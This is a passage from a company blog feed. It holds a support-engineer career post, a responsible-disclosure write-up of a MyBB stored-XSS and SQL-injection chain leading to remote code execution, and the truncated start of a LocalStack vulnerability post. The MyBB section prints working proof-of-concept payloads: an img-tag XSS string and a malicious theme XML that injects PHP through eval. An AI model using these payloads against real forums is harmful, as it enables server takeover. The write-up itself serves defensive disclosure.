of course).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I’m a former dev bootcamp graduate of MakerSquare back in 2014, then I worked at a fintech company and immediately thereafter as a software developer. I really enjoyed the development process: given some requirements, go build this thing, test it, then release it *wipes hands*. However, after some time, the routine of creating yet another API plumbing job didn’t satisfy enough of my desire to learn.&lt;/p&gt;&lt;h3&gt;This Is Not Your Typical Support Engineer Role&lt;/h3&gt;&lt;p&gt;Let’s be honest, the role of “Support Engineer” can be a tough sell.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;“So what? It’s just some support desk job. You answer some tickets, you tell the devs to go fix bugs, you tell the product managers to add a feature, meet the SLA… YAWN”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For many, the word “support” evokes images of call-centers, quotas, ever-tightening SLAs and evening/weekend shifts. It’s seen as entry-level work--a gateway to other, more dignified roles. It’s a stigma that is all too easy to internalize.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a former software developer implementing features and architecting microservices and cloud deployments, I had those same thoughts when I first heard about the SonarSource Support Engineer role.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;“Support” You mean like... not be at the front-lines of development and just help customers? How is that exciting? How do I grow from creating and building things to just being an abutment to the company?”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sure, those are acceptable reactions to some support desk jobs. There’s a certain routine and rigamarole that these jobs have, but there’s always a reason people like these jobs: using software you like, the chance to help people, working with people who have similar interests and intentions as you do, freedom to learn what you want, etc. Support jobs are fun for these reasons, but their drawbacks also make people shy away from them. At SonarSource, we keep the interesting parts of support AND we do it differently.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After about 6 months into my journey at SonarSource as a support engineer, I want to tell you the role has been worth it and why I gave up my developer lifestyle for a support role.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What does Support at SonarSource look like?&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SonarSource offers a single level of support. Period. No Tier 1, Tier 2, Tier 3… Whether a customer is small or large, they receive the same level of support.&lt;/li&gt;&lt;li&gt;We are not merely a human face to documentation. We provide education of the platform as well as expertise.&lt;/li&gt;&lt;li&gt;We are fair to customers and we are the customer’s advocate when discussing feature changes and product evolution with a transparent and honest voice.&lt;/li&gt;&lt;li&gt;We aim to nurture a long-term relationship that allows customers to be self-driven experts of their own platform.&lt;/li&gt;&lt;li&gt;We assign tickets to ourselves -- either because we are interested in the topic, are an expert, or want to learn more by doing.&lt;/li&gt;&lt;li&gt;Our goal is to get all customers an initial answer to their questions within 1 business day.&lt;/li&gt;&lt;li&gt;The vast majority of our interactions with customers takes place using ServiceDesk, rather than jumping into troubleshooting calls.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of this and more can be referenced by our &lt;a href=&quot;https://www.sonarsource.com/support/&quot;&gt;SonarSource support philosophy&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;We Answer All Sorts of Questions&lt;/h3&gt;&lt;p&gt;In a given day at SonarSource, you might find yourself answering these questions:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SonarQube is unable to get in touch with Bitbucket Server for Pull Request Decoration&lt;/li&gt;&lt;li&gt;After upgrading, authentication via SAML is giving an error&lt;/li&gt;&lt;li&gt;SonarQube failed to parse my code&lt;/li&gt;&lt;li&gt;How do I exclude files from analysis?&lt;/li&gt;&lt;li&gt;I want to plan my upgrade to the latest version of SonarQube&lt;/li&gt;&lt;li&gt;How do I set up SonarQube to run over HTTPS?&lt;/li&gt;&lt;li&gt;What can I do to decrease the amount of time it takes to analyze my code?&lt;/li&gt;&lt;li&gt;A false-positive is being raised on my project. Why?&lt;/li&gt;&lt;li&gt;How do I make it easier for my developers to start using SonarQube?&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Code Quality and DevOps Is Our Playground&lt;/h3&gt;&lt;p&gt;At SonarSource, a Support Engineer will learn about (and support customers on) the following topics:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Programming languages (Java, C#, Go, C or any of the &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/&quot;&gt;30 languages&lt;/a&gt; we support and soon more)&lt;/li&gt;&lt;li&gt;Security and static code analysis (control flow graph technology, taint analysis, etc.)&lt;/li&gt;&lt;li&gt;Any CI/CD tools (Jenkins, GitHub, GitLab, Azure DevOps, TeamCity, and on and on)&lt;/li&gt;&lt;li&gt;Delegated authentication methods like LDAP or SAML&lt;/li&gt;&lt;li&gt;ALMs (GitHub, GitLab, Azure DevOps, Bitbucket)&lt;/li&gt;&lt;li&gt;Cloud platforms (AWS, Azure DevOps, GCP)&lt;/li&gt;&lt;li&gt;SCM internals (git, svn)&lt;/li&gt;&lt;li&gt;Databases (Oracle, PostgreSQL, SQL Server)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of this because SonarQube integrates with all of this and more. That’s why I enjoy this job: I get to play with all these technologies while helping people solve their problems.&lt;/p&gt;&lt;h3&gt;I Can Make an Impact on the Product and the Company&lt;/h3&gt;&lt;p&gt;What makes working at SonarSource really interesting, aside from a unique Support model? Onboarding as a support engineer was a steady, progressive process lasting a few months or so, which gave me time to soak in the uniquely worded work culture. With both American and European tastes, my favorite concept so far was “circles” of people working on initiatives.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The idea is that you or anyone else have the power to make a change within your team, workflow, or the company so you create a group of people, or circle, to resolve the problem or improve a situation. This is a wonderful way to make an impact at a company that supports empowerment to make change happen all the while allowing the “right to fail”. There is no hard-pressed goal to always make change, but achieving delivery of your intent is what is more valued. Challenging status-quo when sensible and always making an effort to collaborate to become “smarter together” are also important concepts I learned about SonarSource work culture. SonarSource was founded in 2008 and we have now grown to nearly 200 employees, and so the flat organizational feel of a startup has now grown into a team-based organization, where Support Engineers continue to instill and endure that same SonarSource spirit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here’s what my day-to-day generally looks like this, from morning to evening from the US side (in case you didn’t know, SonarSource is based in Geneva, Switzerland!):&lt;/p&gt;&lt;ul&gt;&lt;li&gt;8:30 AM Wake up and prepare for standup (review current ticket statuses)&lt;/li&gt;&lt;li&gt;8:45 AM Global standup (review any important tickets with the team)&lt;/li&gt;&lt;li&gt;9-10 AM Attend important meetings with teammates on side projects, catch up on news on other projects, pair program on a ticket&lt;/li&gt;&lt;li&gt;10 AM-12 PM Respond to tickets, experiment new language features, explore new CI tool&lt;/li&gt;&lt;li&gt;12-1 PM Lunch&lt;/li&gt;&lt;li&gt;1-1:45 PM Continue responding to tickets, prepare for the afternoon standup with US Team&lt;/li&gt;&lt;li&gt;2-5 PM Respond to tickets, work with teammates on solving a ticket together, help/chat with community members using SonarLint/SonarQube/SonarCloud&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That’s basically it: aside from answering tickets, there’s a lot of freedom to explore new technologies, collaborate on projects to help improve the products or company workflow or work life in general, and help users in our open community forum use our products. SonarSource provides SonarQube Community Edition and SonarLint as open-source software that is available for forking or studying, so contributing back to the community users is twice the benefit in using SonarSource products.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In summary, you will enjoy SonarSource and the Application Support Engineer job if you enjoy any of the following:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Learning ANY of the modern technologies of an adept software developer, devops engineer, or sysadmin&lt;/li&gt;&lt;li&gt;Working on projects that you choose via volunteering and effect change that you see important to the company&lt;/li&gt;&lt;li&gt;Helping people &lt;em&gt;enjoy&lt;/em&gt; using SonarSource products while getting maximum value from them&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you find yourself nodding your head, SonarSource is a great fit for you. If you want to know more, just &lt;a href=&quot;https://www.sonarsource.com/company/jobs/&quot;&gt;message us&lt;/a&gt;!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[MyBB Remote Code Execution Chain]]></title><description><![CDATA[Today SonarSource is pleased to share a guest contribution to our Code Security blog series about learnings from a chain of serious vulnerabilities in MyBB.]]></description><link>https://www.sonarsource.com/blog/mybb-remote-code-execution-chain</link><guid isPermaLink="false">89813de6-8c45-525d-a767-ff7763320f4c</guid><dc:creator><![CDATA[Sonar]]></dc:creator><pubDate>Thu, 18 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Today SonarSource is pleased to share with you a guest contribution to our &lt;a href=&quot;https://blog.sonarsource.com/tag/security&quot;&gt;Code Security blog series&lt;/a&gt;. The following blog post is authored by Simon Scannell and Carl Smith -two independent security researchers- joining us in sharing their findings of real world vulnerabilities and how they directly relate to Code Security. Over to you Simon and Carl!&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Like all IT security enthusiasts, we love to grow our knowledge by looking through a variety of applications, and taking up some contests such as playing &lt;em&gt;capture the flag&lt;/em&gt;. Lately, we decided to look at forum software to create a CTF challenge and detected a chain of serious vulnerabilities in MyBB, one of the most popular open source bulletin boards. In a followup to SonarSource’s recent series of posts about the &lt;a href=&quot;https://www.sonarsource.com/blog/regular-expressions-present-challenges/&quot;&gt;challenges&lt;/a&gt; of &lt;a href=&quot;https://www.sonarsource.com/blog/setting-the-right-regex-boundaries-is-important/&quot;&gt;regular&lt;/a&gt; expressions, we would like to share our code vulnerability findings in MyBB that are based on defective regexes.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;MyBB forums with versions between and including &lt;strong&gt;1.8.16&lt;/strong&gt; and &lt;strong&gt;1.8.25&lt;/strong&gt; are affected by two vulnerabilities we discovered that can be chained together to achieve Remote Code Execution (RCE) without any prior access to a privileged account on default MyBB-configurations. The first vulnerability (Nested Auto URL persistent XSS — CVE-2021-27889) reported by us was an issue in the MyBB rendering process that enabled any unprivileged forum user of a MyBB board to embed Stored XSS payloads into threads, posts and even private messages. &lt;/p&gt;&lt;p&gt;The second vulnerability (Theme properties SQL injection — CVE-2021-27890) that was reported by us was an SQL injection which led to RCE and could be triggered by any user with an active session in the administrator dashboard of a MyBB forum. &lt;/p&gt;&lt;p&gt;A sophisticated attacker could develop an exploit for the Stored XSS vulnerability and then send a private message to a targeted administrator of a MyBB board. As soon as the administrator opens the private message, on his own trusted forum, the exploit triggers. An RCE vulnerability is automatically exploited in the background and leads to a full takeover of the targeted MyBB forum.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;h3&gt;Persistent XSS in Nested Auto URL (CVE-2021-27889)&lt;/h3&gt;&lt;p&gt;Modern forum software such as MyBB commonly enables unprivileged users to create posts or private messages containing images, videos, headlines, lists and so on. &lt;/p&gt;&lt;p&gt;This feature must be carefully implemented, as untrusted users could abuse it to modify the contents of the forum in undesired ways if the constraints of this feature are not strict enough. Worst case, a user could gain the ability to inject arbitrary JavaScript code into the HTML documents served by the trusted forum.&lt;/p&gt;&lt;p&gt;In our experience, we have observed two approaches to implement this feature:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Allow users to submit HTML tags and apply an allow or deny list to determine whether the input is sane and safe to display to other users.&lt;/li&gt;&lt;li&gt;Use an existing or custom message format, such as Markdown for example, to create sane HTML outputs from inputs.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Both approaches come with their respective advantages and disadvantages. MyBB utilizes the second approach in their rendering process with a custom implementation of their &lt;em&gt;MyCodes&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Here are 2 examples of how such a &lt;em&gt;MyCode&lt;/em&gt; would look like and how it is converted:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[url]https://blog.sonarsource.com[/url]
 = &lt;a href=&quot;https://blog.sonarsource.com&quot;&gt;https://blog.sonarsource.com&lt;/a&gt;
[b]Hello, World![/b] 
 = &lt;strong&gt;Hello, World!&lt;/strong&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Whenever a user creates for example a private message containing such codes, the MyBB parser encodes the entire input and then utilizes a regex to find and replace all MyCodes with their respective HTML code.&lt;/p&gt;&lt;p&gt;Problems in such parsers can occur when the regex patterns used to find and replace e.g. MyCodes are too relaxed which could lead to nested HTML tags being rendered, as is the case with the XSS we are breaking down here.&lt;/p&gt;&lt;p&gt;Another, less explicit, step of the MyBB rendering process is to automatically detect URLs which were not wrapped with the &lt;code&gt;[URL]&lt;/code&gt; MyCode and to convert them into HTML links. The following snippet shows how the &lt;code&gt;$message&lt;/code&gt; variable is passed to the &lt;code&gt;mycode_auto_url()&lt;/code&gt; method of the renderer class:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;mybb/inc/class_parser.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 525         if($mybb-&gt;settings[&apos;allowautourl&apos;] == 1)
 526         {
 527             $message = $this-&gt;mycode_auto_url($message);
 528         }
 529 
 530         return $message;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;$message&lt;/code&gt; variable in line 527 contains the already rendered HTML result of the user supplied message and thus must be carefully handled so that no HTML tags or attributes could be corrupted. The condition for this is that only URLs that are not part of an HTML tag are allowed to be converted into &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&lt;p&gt;MyBB utilized the following regex to try to securely parse only URLs that are not part of an HTML tag (the regex was simplified by stripping away all parts that were not relevant for understanding this vulnerability):&lt;/p&gt;&lt;p&gt;&lt;strong&gt;mybb/inc/class_parser.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1618   $message = preg_replace_callback(
         &quot;#&lt;a\\s[^&gt;]*&gt;.*?&lt;/a&gt;|([\s\(\)\[\&gt;])(www|ftp)\.([\w|\d\-./]+)#ius&quot;, 
          array($this, &apos;mycode_auto_url_callback&apos;), 
          $message);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The regex is divided by the &lt;code&gt;|&lt;/code&gt; character into two alternatives:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Match anything between &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags (&lt;code&gt;&amp;lt;a\\s[^&amp;gt;]*&amp;gt;.*?&amp;lt;/a&amp;gt;&lt;/code&gt;). In case of such a match, nothing is changed&lt;/li&gt;&lt;li&gt;The URL match must begin with either a whitespace, parentheses or an opening square bracket (&lt;code&gt;[&lt;/code&gt;) or a closing angle bracket (&lt;code&gt;&amp;gt;&lt;/code&gt;) and is then followed by a URL (this is the simplified part). The logic here is that when a user-supplied MyCode is converted into HTML, although user controlled data can be embedded into an HTML attribute of the resulting HTML tag, it cannot contain any of these characters. &lt;/li&gt;&lt;/ol&gt;&lt;p&gt;As an example, when an &lt;code&gt;[img]&lt;/code&gt; MyCode is converted to HTML, it could look like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[img]http://xyzsomething.com/image.png[/img]
 = &lt;img src=&quot;http://xyzsomething.com/image.png&quot; /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When such an image tag is constructed, the URL that is going to form the &lt;code&gt;src&lt;/code&gt; attribute is stripped of all whitespaces and is HTML and URL encoded. The idea was that these transformations would remove all characters that could be matched by the second alternative of the regex which is used for the auto URL encode. Therefore the second part assumes that the first transformation has already &lt;em&gt;cleaned &lt;/em&gt;the URL.&lt;/p&gt;&lt;p&gt;However, both URL encoding and HTML encoding do not modify parentheses &lt;code&gt;()&lt;/code&gt;. Thus, it was possible to craft an &lt;code&gt;[img]&lt;/code&gt; tag such as the one shown below, which invalidates this assumption thus confusing the second regex.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[img]http://xyzsomething.com/image?)http://x.com/onerror=alert(1);//[/img]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the first step of the rendering process, the following &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag would have been created:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;img src=&quot;http://xyzsomething.com/image?)http://x.com/onerror=alert(1);//&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the next step, the &lt;code&gt;mycode_auto_url()&lt;/code&gt; method matches the second URL in the image as it begins with a closing parenthesis which has not been escaped or encoded. The final HTML that is created then looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;img src=&quot;http://xyzsomething.com/image?)&lt;a href=&quot; http:=&quot;&quot; x.com=&quot;&quot; 
 onerror=&quot;alert(1);//&amp;quot;&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; class=&quot;mycode_url&quot;&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can see, an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag has been inserted into the existing &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag. Since both of these tags contain double quotes, they corrupt each other. Browsers such as Chrome or FireFox are going to construct a final &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; element containing an attacker controlled &lt;code&gt;onerror&lt;/code&gt; event handler. This allows the attacker to execute arbitrary JavaScript code in the browser of a victim who reads the malicious post or private message.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;SQL Injection in Theme Properties leading to RCE&lt;/h3&gt;&lt;p&gt;The XSS vulnerability described in the previous section enables an attacker to target administrators of a MyBB forum. If the attacker succeeds in injecting malicious JavaScript code into the browser of an administrative user with an active session, he can perform arbitrary actions with admin privileges. MyBB actively prevents even administrator users from executing arbitrary PHP code on the underlying server, thus we will present an authenticated RCE vulnerability that can be reached with administrative privileges.&lt;/p&gt;&lt;p&gt;One of the features MyBB admins can access is the theme manager of a MyBB forum. A MyBB theme consists of a list of key-value pairs. The key is a component of the current page, for example, a welcome back message that should be displayed.&lt;/p&gt;&lt;p&gt;Here is an example of how MyBB then displays such a component:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;eval(&apos;$modcplink = &quot;&apos;.$templates-&gt;get(&apos;header_welcomeblock_member_moderator&apos;).&apos;&quot;;&apos;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In above&amp;#x27;s example, the theme key &lt;code&gt;header_welcomeblock_member_moderator&lt;/code&gt; is requested. The value of this theme component could then look like the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;div id=&apos;welcomeblock_back&apos;&gt;&lt;b&gt;{$mybb-&gt;user[&apos;username&apos;]}&lt;/b&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This means that the final string that is passed to &lt;code&gt;eval()&lt;/code&gt; would look like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$modcplink = &quot;&lt;div id=&apos;welcomeblock_back&apos;&gt;&lt;b&gt;{$mybb-&gt;user[&apos;username&apos;]}&lt;/b&gt;&lt;/div&gt;&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you can see, the contents are enclosed in double quotes and the PHP variable &lt;code&gt;{$mybb-&amp;gt;user[&amp;#x27;username&amp;#x27;]}&lt;/code&gt; is interpolated into the string. The reason that this feature does not enable remote code execution (RCE) immediately is that MyBB escapes double quotes in template values when they are stored into the database. Thus, it is impossible to break out of the double quoted string. Another PHP trick exists, that could have resulted in RCE, which is that an attacker could have modified the template and added a &lt;code&gt;$&lt;/code&gt; to the variable that becomes string interpolated, like the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$modcplink = &quot;&lt;div id=&apos;welcomeblock_back&apos;&gt;&lt;b&gt;${arbitrary_function()}&lt;/b&gt;&lt;/div&gt;&quot;;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, MyBB also prevents this unique PHP quirk by preventing administrators from inserting such interpolations. This meant that if we could find a bypass for MyBB’s filter, we could still execute arbitrary PHP code. We achieved this bypass through an SQL injection.&lt;/p&gt;&lt;p&gt;MyBB themes can be imported through XML files which contain a set of theme properties such as the image directory or the version. Additionally, a list of key value pairs is read where the name correlates to the key of the theme component and the value to the contents. Here is an example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;theme name=&quot;Theme Example&quot; version=&quot;1405&quot;&gt;
   &lt;properties&gt;
      &lt;templateset&gt;&lt;![CDATA[10]]&gt;&lt;/templateset&gt;
      &lt;imgdir&gt;&lt;![CDATA[images/]]&gt;&lt;/imgdir&gt;
      &lt;logo&gt;&lt;![CDATA[images/logo.png]]&gt;&lt;/logo&gt;
   &lt;/properties&gt;
   &lt;stylesheets&gt;&lt;/stylesheets&gt;
   &lt;templates&gt;
      &lt;template name=&quot;header_welcomeblock_member_moderator&quot; version=&quot;1404&quot;&gt;&lt;![CDATA[
         &lt;div id=&apos;welcomeblock_back&apos;&gt;&lt;b&gt;{$mybb-&gt;user[&apos;username&apos;]}&lt;/b&gt;&lt;/div&gt;
      ]]&gt;&lt;/template&gt;
   &lt;/templates&gt;
&lt;/theme&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Whenever an administrator imports such a theme, the XML is parsed and the properties of the theme are stored into the database. As it turned out, the &lt;code&gt;templateset&lt;/code&gt; property was susceptible to a second order SQL injection. &lt;/p&gt;&lt;p&gt;When these themes are uploaded they are inserted into the database of the MyBB instance and are later used in other SQL queries without any sanitization.&lt;/p&gt;&lt;p&gt;We already touched on how the values of MyBB template components are passed to &lt;code&gt;eval()&lt;/code&gt; calls, thus leading to arbitrary PHP code execution should an attacker be able to control the value of a theme property. The following paragraphs describe an SQL injection, which enables an attacker to inject malicious template codes into &lt;code&gt;eval()&lt;/code&gt; calls.&lt;/p&gt;&lt;p&gt;At the beginning of each page load, MyBB fetches all possible template values from the database and stores them in a cache. The SQL query that fetches all template values, uses the &lt;code&gt;templateset&lt;/code&gt; property, which is embedded unsanitized into the query string. Therefore an SQL injection vulnerability occurs:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$query = $db-&gt;simple_select(&quot;templates&quot;, &quot;title,template&quot;,
    &quot;title IN (&apos;&apos;$sql) AND sid IN (&apos;-2&apos;,&apos;-1&apos;,&apos;&quot;.$theme[&apos;templateset&apos;].&quot;&apos;)&quot;,
    array(&apos;order_by&apos; =&gt; &apos;sid&apos;, &apos;order_dir&apos; =&gt; &apos;asc&apos;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As shown, the query simply interposes the &lt;code&gt;templateset&lt;/code&gt; attribute. With a malicious theme, one can control this attribute and let this cache function return attacker controlled values. Here is an example of such a crafted theme with a SQL injection payload:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;theme name=&quot;Default&quot; version=&quot;1821&quot;&gt;
   &lt;properties&gt;
      &lt;templateset&gt;&apos;) AND 1=0 UNION SELECT title, &apos;${passthru(\&apos;ls\&apos;)}&apos; from mybb_templates -- &lt;/templateset&gt;
   &lt;/properties&gt;
&lt;/theme&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The resulting SQL query looks like the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SELECT title, template FROM mybb_templates WHERE 
   title IN (‘header_welcomeblock_member_moderator’, ‘...’) AND SID IN (‘-2’, ‘-1’, ‘’) 
   AND 1=0 UNION SELECT title, &apos;${passthru(\&apos;ls\&apos;)}&apos; from mybb_templates -- ’)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Through this SQL injection, it is possible to poison the template cache with attacker controlled values, which do not undergo any escaping or sanitization. As these template values that are now completely attacker controlled are passed to eval inside the double quoted string we can execute arbitrary PHP code within the &lt;code&gt;${...}&lt;/code&gt; syntax. As a result, an attacker can execute arbitrary PHP code and compromise the underlying server.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Event&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;22.02.2021&lt;/td&gt;&lt;td&gt;Both vulnerabilities were reported to the MyBB team&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;22.02.2021&lt;/td&gt;&lt;td&gt;The MyBB team acknowledges both vulnerabilities&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;04.03.2021&lt;/td&gt;&lt;td&gt;The MyBB team proposes patches&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;05.03.2021&lt;/td&gt;&lt;td&gt;We confirm the patches&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;10.03.2021&lt;/td&gt;&lt;td&gt;MyBB releases patch version 1.8.26&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;Multi-step parsers and HTML renderers can always run into the risk of corrupting their own output, sometimes with security implications. We disclosed similar vulnerabilities in the past to &lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-csrf-to-rce/&quot;&gt;WordPress&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/blog/magento-rce-via-xss/&quot;&gt;Magento&lt;/a&gt;. It is advisable to not let regexes grow too complex in these parsers, especially when they are meant to prevent security issues. We hope that the SonarSource community can learn from these mistakes to develop secure code and we enjoyed sharing our findings as a guest blog post at SonarSource. Last but not least, we would like to thank the MyBB team for their great cooperation on resolving these issues very quickly.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hack the Stack with LocalStack: Code Vulnerabilities Explained]]></title><description><![CDATA[Our vulnerability researchers found critical code vulnerabilities in a popular Python application that can be exploited remotely, even when the application instance is hosted locally.]]></description><link>https://www.sonarsource.com/blog/hack-the-stack-with-localstack</link><guid isPermaLink="false">978b3e30-0cc0-5589-9c8b-da9b5dde8380</guid><dc:creator><![CDATA[Dennis Brinkrolf]]></dc:creator><pubDate>Tue, 02 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;LocalStack is a popular open source application that provides an easy-to-use test framework for cloud applications. It enables you to host a fully functional AWS cloud setup in your local network for developing and testing cloud and serverless apps. According to GitHub, it is one of the most popular open source Python applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During our security research into modern applications, we discovered critical code vulnerabilities in the latest LocalStack version. We reported all issues responsibly to the affected vendor. However, after the vendor assessed the risk it left the vulnerabilities we reported unpatched due to a limited attack scenario. In this blog post we analyze the attack scenario, the technical root cause of the code vulnerabilities, and how attackers are able to exploit these vulnerabilities.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We detected the following vulnerabilities in the latest LocalStack version 0.12.6:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/python/type/Vulnerability/RSPEC-2076&quot;&gt;S5334&lt;/a&gt;: OS Command Injection (CVE-2021-32090)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/python/type/Vulnerability/RSPEC-5144&quot;&gt;S5144&lt;/a&gt;: Server-Side Request Forgery (SSRF)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/python/type/Vulnerability/RSPEC-5131&quot;&gt;S5131&lt;/a&gt;: Cross-Site Scripting (XSS) (CVE-2021-32091)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://rules.sonarsource.com/python/type/Vulnerability/RSPEC-2631&quot;&gt;S2631&lt;/a&gt;: Denial of Service via regular expressions (ReDoS)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A LocalStack instance typically runs in an internal network setup. As shown in this blog post, attackers who are not in this same network are still capable of attacking such application setups remotely. By combining different vulnerabilities, an attacker can completely compromise the local instance and execute arbitrary system commands.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our video illustrates such an attack and shows how quickly and easily a server can be compromised.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/R2N8nO4LV8o&quot;&gt;Demo&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Analysis&lt;/h2&gt;&lt;p&gt;In this technical analysis, we first explain how applications that run locally are attacked. Then, we discuss two vulnerabilities that we found in the LocalStack code. The two vulnerabilities can be combined by an attacker to compromise and take over a LocalStack instance.&lt;/p&gt;&lt;h3&gt;Remote Attacks on Local Instances&lt;/h3&gt;&lt;p&gt;When using LocalStack, we noticed that it does not use any authentication. Probably that is because the LocalStack software is run locally or in a Docker environment, as recommended by the vendor, and is therefore not directly exposed to remote attackers. However, it is a common fallacy that this type of application cannot be attacked at all. Web interfaces of network routers are a popular example of local applications that have been attacked in the real-world by criminals (&lt;em&gt;Drive-by-Pharming&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One way for a remote attacker to interact with LocalStack running locally is through a target user’s browser. Typically, the browser of the developer who uses LocalStack is also connected to the internet to, for example, read documentation pages. When this victim visits (or is lured to) a malicious/infected website controlled by an attacker, it is possible to trigger cross-site HTTP requests to 